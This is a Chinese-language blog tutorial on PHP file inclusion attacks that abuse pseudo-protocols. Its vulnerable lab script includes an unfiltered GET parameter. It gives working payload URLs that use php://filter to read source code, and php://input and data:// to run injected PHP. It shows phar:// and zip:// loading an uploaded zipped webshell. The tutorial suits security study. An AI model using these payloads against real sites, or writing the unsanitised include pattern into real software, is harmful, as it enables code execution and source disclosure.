文件包含漏洞(2), 伪协议, php://filter, php://input

伪协议利用

条件:

php.ini配置文件中 allow_url_fopen=On 是开启状态.

测试文件:
http://192.168.112.200/security/fileinc.php

<?php
$filename = $_GET['filename'];
// 或include_once, require, require_once
include $filename;    
echo "<hr>欢迎来到PHP的世界.<br>";
?>

GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

1. php://filter

功能: 读取php脚本的内容并编码

文件包含php代码后, 会自动被web引擎解释执行, 如果想查看源码而不是执行, 则可以使用这个协议.
读取common.php的源码, 并用base64编码显示. 通过base64解码即可得到php代码.

http://192.168.112.200/security/fileinc.php?
filename=php://filter/read/convert.base64-encode/resource=common.php
2. php://input

功能: 将post提交的代码作为输入

条件: allow_url_include=On 已经开启

通过post提交代码来执行.

http://192.168.112.200/security/fileinc.php?filename=php://input

post data:

<?php phpinfo(); ?>
3. phar://

功能: phar用于对压缩文件的读取, 配合文件上传漏洞, 或phar反序列化漏洞.

把一句话木马文件压缩成zip格式, 上传到服务器(服务器没有限制zip上传).
通过该phar可以直接访问zip内的txt文件.

mm.txt -> mm.zip

http://192.168.112.200/security/fileinc.php?filename=phar://test/mm.zip/mm.txt
4. zip://

与phar功能相同, 但是不能读取包含多级目录的压缩包.

5. data://

与input功能类似, 但是发送GET请求.

http://192.168.112.200/security/fileinc.php?filename=data://text/plain,<?php phpinfo(); ?>

也可以发送base64编码后的代码

http://192.168.112.200/security/fileinc.php
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值